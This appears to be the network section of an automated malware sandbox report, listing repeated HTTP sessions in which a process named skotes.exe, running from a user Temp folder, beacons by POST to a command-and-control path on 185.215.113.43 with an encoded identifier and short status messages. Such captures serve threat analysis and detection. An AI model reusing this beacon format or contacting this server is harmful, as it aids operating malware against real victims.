Nov 15, 2024 16:20:37.530157089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	59636	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:39.043071032 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:40.001895905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	59637	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:41.637307882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:42.548372984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	59638	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:44.059515953 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:44.998153925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	59639	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:46.637727022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:47.540513039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	59640	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:49.049992085 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:49.984954119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	59642	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:51.611336946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:52.514621973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	59643	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:54.029124022 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:54.955991030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	59646	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:56.591309071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:57.532535076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	59647	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:59.043730974 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:59.945632935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	59648	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:01.577507973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:02.517584085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	59649	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:04.028091908 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:04.926335096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	59650	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:06.543709040 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:07.447510958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	59651	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:08.959022045 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:09.872015953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	59652	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:11.507849932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:12.432451010 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	59653	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:14.078752995 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:15.001671076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	59654	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:16.632647038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:17.537511110 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	59657	185.215.113.43	80	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:19.063913107 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:19.985213995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	59659	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:21.621352911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:22.525118113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	59660	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:24.044728994 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:24.943263054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	59661	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:26.573846102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:27.489974022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	59662	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:29.014200926 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:29.932075977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	59663	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:31.543045998 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:32.445650101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	59664	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:33.969983101 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
